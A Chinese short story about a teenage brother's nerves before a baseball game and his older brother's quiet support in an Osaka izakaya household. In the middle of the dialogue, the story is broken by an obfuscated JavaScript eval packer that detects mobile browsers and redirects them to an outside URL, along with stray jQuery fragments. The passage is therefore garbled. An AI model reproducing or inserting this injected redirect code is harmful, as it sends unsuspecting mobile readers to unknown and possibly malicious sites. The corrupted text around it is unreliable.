建人正把最后一个啤酒杯擦干时，玄关传来门铃的轻响。
健太背着棒球包站在暮色里，白色队服上沾着草屑，右肘护具的魔术贴开了道小口，随着呼吸轻轻颤动。
"今天又加练了？"美咲姐从厨房探出头，围裙上沾着味噌汤的油花，"电饭煲里留着茶泡饭，玉子烧在保鲜盒里。"
健太点点头，运动鞋在地垫上蹭出两道灰印。
他经过厨房时带起一阵热风，建人闻到他后颈的汗味里混着防晒霜的薄荷味——和去年夏天美咲姐硬塞给自己的那管一模一样。
建人把抹布甩到肩上，看着弟弟机械地往嘴里扒饭。健太的筷子尖在梅干上戳出细密的小孔，腌渍的紫苏汁把米饭染成淡粉色。
窗外传来居酒屋町特有的喧嚣，金太郎突然对着后巷的野猫吠叫，吓得夜叉丸的尾巴蓬成鸡毛掸子。
"喂，明天几点集合？"建人故意用筷子敲了敲健太的碗沿，"要不要我翘课去给你当应援团长？"
"八点半。"健太的喉结动了动，把最后一口饭咽下去，"教练说对手的第四棒擅长..."他突然顿住，低头盯着碗底残留的米粒，"算了，说了你也不懂。"
建人感觉后槽牙有点发痒。这臭小子从小就这样，紧张的时候会不停摆弄棒球手套的系带。
此刻那副磨得发亮的皮革正在餐桌下被反复揉捏，发出细碎的咯吱声。
美咲姐突然从背后冒出来，沾着酱油渍的团扇"啪"地打在兄弟俩头上："两个呆子！健太快去洗澡，建人过来刷锅！"
浴室响起水声时，建人正对着黏在锅底的蛋壳发愁。美咲姐把长发盘成丸子头，正在给明天要用的鲭鱼抹盐。
月光从气窗斜斜切进来，在她眼下投出淡淡的青影。
"那副手套，"美咲突然开口，手里的菜刀精准地剖开鱼腹，"是他国中联赛夺冠时的奖品吧？"
建人动作一顿。三年前的夏天突然在洗洁精泡沫里浮现：暴雨中的球场，健太满身泥水扑向本垒板，被裁判举起的手套像面破碎的旗帜。
那天美咲姐第一次允许他们喝啤酒，易拉罐上的水珠把榻榻米浸出深色痕迹。
"线脚都快磨断了。"美咲把鱼鳃扔进垃圾桶，金属碰撞声惊醒了回忆，"但他说要等打进甲子园再换新的。"
建人把铁锅倒扣在沥水架上，看着水滴在月光下串成珠链。
浴室的门"吱呀"开了，蒸腾的水汽裹着健太钻进走廊，潮湿的拖鞋声渐渐消失在二楼。
等建人回到房间时，健太已经躺在他的床上。月光把少年单薄的脊背切成两半，夜风掀起窗帘，电风扇的嗡鸣里混着金太郎挠门的沙沙声。
"又占我床。"建人把枕头砸过去，健太翻身时带起的气流里有薄荷洗发水的味道。
初中男生开始抽长的四肢在凉席上投出蜘蛛网般的影子。
健太忽然伸手按住胸口，那里垂着枚褪色的御守。
去年生日时美咲姐带他们去住吉大社求的，布面被汗水浸得发硬，金线绣的"必胜"二字只剩下模糊轮廓。
"哥，"他的声音闷在枕头里，"如果明天...如果输掉的话..."
建人感觉有只无形的手攥住了气管。他想起下午在电器店试听耳机时，降噪功能把世界隔绝成真空的瞬间。
此刻蝉鸣、风扇声、金太郎的呼噜都消失了，只剩下弟弟压抑的呼吸。
电扇把健太的练习册吹得哗啦作响，建人看见其中夹着张撕碎的击球手分析表。
"听着，"建人伸手按住弟弟发凉的后颈，"去年你被樱井轰出全垒打，今年不是三振了他三次？"他的拇指按在健太突起的第七颈椎，那里有块被太阳晒脱皮的红斑。
健太的喉结动了动，夜叉丸在他背上踩奶的节奏逐渐和呼吸同步。
窗外传来居酒屋醉汉跑调的小曲，混着美咲清洗烤架的哗啦水声。
"那款索尼耳机，"建人突然说，"降噪效果超赞，戴着听风速仪肯定..."他感觉弟弟的肩膀突然绷紧，立即改口："不过太贵了，我觉得还是铁平叔的工地耳塞更..."
"白痴。"健太把脸埋回枕头，耳尖却泛起红晕，"我才不需要..."
夜叉丸蜷成毛团窝在他腰际，尾巴有一下没一下地拍打建人的膝盖。
建人盯着旋转的电扇叶片，49800日元的价格在视网膜上投下重影。
美咲关掉店门的声音从楼下传来，金太郎的项圈铃铛叮咚作响。他轻轻抽出被压麻的手臂，摸出枕头下的存折——打工攒的19300円在黑暗里泛着微光。
夜风掀起窗帘一角，大阪的夏夜在蝉鸣中轻轻摇晃。楼下传来美咲收拾刀具的叮当声，像某种温柔的和弦。
"白痴，"他抬脚轻踹对方小腿，"你才初二，天见那家伙可是..."话说到一半突然哽住，因为他们都清楚，健太的快速球已经逼近高中生的水准，教练说过这次预选赛是通往甲子园的关键跳板。
健太突然翻身坐起，御守的红绳在月光下晃成虚影："但是夏季大会每年只有一次！明年我的投球姿势会被研究，打线阵容会调整，而且..."他的指甲掐进掌心，"美咲姐的腰伤...铁平叔的居酒屋..."
建人感觉太阳穴突突直跳。原来这小子什么都知道——知道姐姐在海鲜市场杀价时扶着腰的样子，知道后厨冰柜越来越频繁的故障，知道铁平叔偷偷把私房钱塞进他们的棒球包。
夜风突然转了方向，楼下传来美咲姐关窗的声响。建人伸手按亮床头灯，暖黄的光晕里，健太的睫毛在眼下投出颤动的阴影，像被雨打湿的蝶翼。
"还记得章鱼烧理论吗？"建人从抽屉深处摸出颗棒球，球面上用油性笔写着"砸烂佐藤的脸"，"美咲姐说过，面糊太稠会爆开，太稀又裹不住章鱼粒。"
他把球抛向天花板，看着光影在球缝间流转，"你现在就像急着翻面的新手，还没等底面定型就乱戳。"
健太的拳头松开了，御守的红绳垂落在凉席上。楼下雨棚突然传来"咚"的一声，八成是夜叉丸又在追壁虎。
"况且，"建人接住下落的棒球，指腹蹭过弟弟的字迹，"真要输了我也不会嘲笑你，顶多把你初中尿床的照片发给棒球部群组。"
"你才尿床！"健太抓起枕头砸过来，声音却带着笑意。两人扭打时撞翻了电风扇，转动的扇叶在天花板上投出旋转的光斑，像小时候在夏日祭捞过的金鱼。
健太的呼吸渐渐平稳，却突然呢喃："哥，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529087|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你会来看决赛吧？"
建人望着天花板上的水渍，形状像朵歪歪扭扭的蒲公英。早川教练的骂声、佐藤翔阳的嗤笑、美咲姐的团扇，此刻都化作夜风穿过房间。他伸手按住弟弟微湿的发梢，答非所问：
"明天记得把耳机带上。"
浴室的热水器发出休眠的嗡鸣，建人听见美咲在走廊轻声训斥偷吃鱼干的夜叉丸。
健太的睫毛在眼下投出扇形阴影，右手仍保持着握球的姿势。建人把薄被踢到弟弟身上，蹑手蹑脚摸向书桌。
当台灯光晕缩成最小的圆，他翻开健太的击球手笔记，用红笔在西宫高中四棒的资料旁写下："外角低球必杀！PS：耳机我买定了混蛋"
建人望着弟弟随呼吸起伏的肩胛骨，月光正从百叶窗的缝隙漏进来，在健太背上切出六道银蓝相间的光栅。
金太郎在楼下挠门的声音变得遥远，夜叉丸的尾巴扫过走廊时，天花板吊灯的水晶坠子发出风铃般的轻响。
他注意到健太的右手仍虚握着，食指和中指关节有深褐色的结痂——那是上周触击训练时被擦棒球蹭破的伤口。
棉被滑到腰间，褪色的哆啦A梦睡衣下摆卷起一角，露出腰侧淡青的淤痕，像片被揉皱的樱花瓣。
电风扇的摇头周期恰好是七秒。当扇叶第三次将健太的刘海吹起时，建人看见弟弟眉心舒展开来。
白天总抿成直线的嘴唇此刻微微张着，嘴角沾着星点牙膏沫，随呼吸凝成小颗晶亮的水珠。
那只从不离身的御守滑到锁骨凹陷处，红绳被汗水浸成深褐色，在月光下宛如一道将愈未愈的刀伤。
建人伸手想替弟弟拉好被子，却在半空停住。健太突然蜷起膝盖，睡衣口袋里的棒球卡掉出半截，卡面上铃木一朗的侧脸被月光漂得发白。
这个姿势让他想起六年前的雨夜，小学四年级的健太抱着被雷声吓哭的金太郎，也是这样缩成小小一团躲在壁橱里。
楼下传来美咲姐关冰柜的闷响，月光随着声波轻轻震颤。
健太的睫毛忽然颤动如振翅的蜉蝣，喉结在颈项拉出紧绷的弧线。建人下意识屏住呼吸，直到弟弟的拳头在梦中松开，掌心的茧印被月光照得清晰可辨——那枚位于生命线中央的硬茧，是日复一日投球时被缝线磨出的勋章。
夜风突然转了方向，百叶窗的光栅从六道变成十二道。
建人看见弟弟耳后的发茬里藏着粒红痣，随着颈动脉的跳动忽明忽暗，像枚随时会熄灭的火种。
他摸到裤袋里的便利店收据，纸张边缘已被体温煨得发软，49800这个数字在黑暗里灼着他的指腹。
当第十三次电风扇摇头周期结束时，健太翻了个身。御守的红绳滑进衣领，睡衣扣子绷开一颗，露出锁骨下方淡粉的疤痕——去年被强袭球击中时的纪念品。
建人想起急救车顶灯在弟弟惨白的脸上流转的模样，当时沾血的耳机线还缠在自己颤抖的指间。
月光爬上窗棂时，健太的呼吸终于沉入海底般平稳。建人轻轻抽出被压住的被角，指尖掠过弟弟发烫的耳廓，那里还残留着廉价耳机的塑胶味。
他盯着墙上夜光贴纸拼成的甲子园字样，突然觉得那些荧绿的碎片正化作星子，坠落在健太随呼吸起伏的梦境里。